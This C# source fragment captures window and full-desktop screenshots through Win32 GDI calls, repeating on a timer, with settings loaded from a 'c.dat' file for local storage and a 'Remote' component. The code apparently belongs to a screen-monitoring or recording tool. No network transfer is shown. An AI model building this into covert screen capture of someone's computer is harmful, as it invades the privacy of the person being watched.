public static Image CaptureWindow(IntPtr handle)
{
// get te hDC of the target window
IntPtr hdcSrc = API.GetWindowDC(handle);
// get the size
API.RECT windowRect = new API.RECT();
API.GetWindowRect(handle, ref windowRect);
int width = windowRect.right - windowRect.left;
int height = windowRect.bottom - windowRect.top;
// create a device context we can copy to
IntPtr hdcDest = API.CreateCompatibleDC(hdcSrc);
// create a bitmap we can copy it to,
// using GetDeviceCaps to get the width/height
IntPtr hBitmap = API.CreateCompatibleBitmap(hdcSrc, width, height);
// select the bitmap object
IntPtr hOld = API.SelectObject(hdcDest, hBitmap);
// bitblt over
API.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, API.SRCCOPY);
// restore selection
API.SelectObject(hdcDest, hOld);
// clean up
API.DeleteDC(hdcDest);
API.ReleaseDC(handle, hdcSrc);
// get a .NET image object for it
Image img = Image.FromHbitmap(hBitmap);
// free up the Bitmap object
API.DeleteObject(hBitmap);
return(img);
}
public static void Start()
{
try
{
Config("c.dat");
Storage.Config("c.dat");
Remote.Config("c.dat");
}
catch
{
}
SetEncoderParameters(Quality);
lock (locker)
{
handle = API.GetDesktopWindow();
hdcSrc = API.GetWindowDC(handle);
windowRect = new API.RECT();
API.GetWindowRect(handle, ref windowRect);
width = windowRect.right - windowRect.left;
height = windowRect.bottom - windowRect.top;
hdcDest = API.CreateCompatibleDC(hdcSrc);
hBitmap = API.CreateCompatibleBitmap(hdcSrc, width, height);
stopped = false;
}
int i = 0;
while (true)
{
lock (locker)
{
if (stopped)
{
break;
}
Take();
}
if (Count > 0)
{
i++;
if (i >= Count)
{
break;
}
}
lock (locker)
{
if (stopped)
{
break;
}
}
Thread.Sleep(Interval);
}
if (!stopped)
{
Stop();
}
}
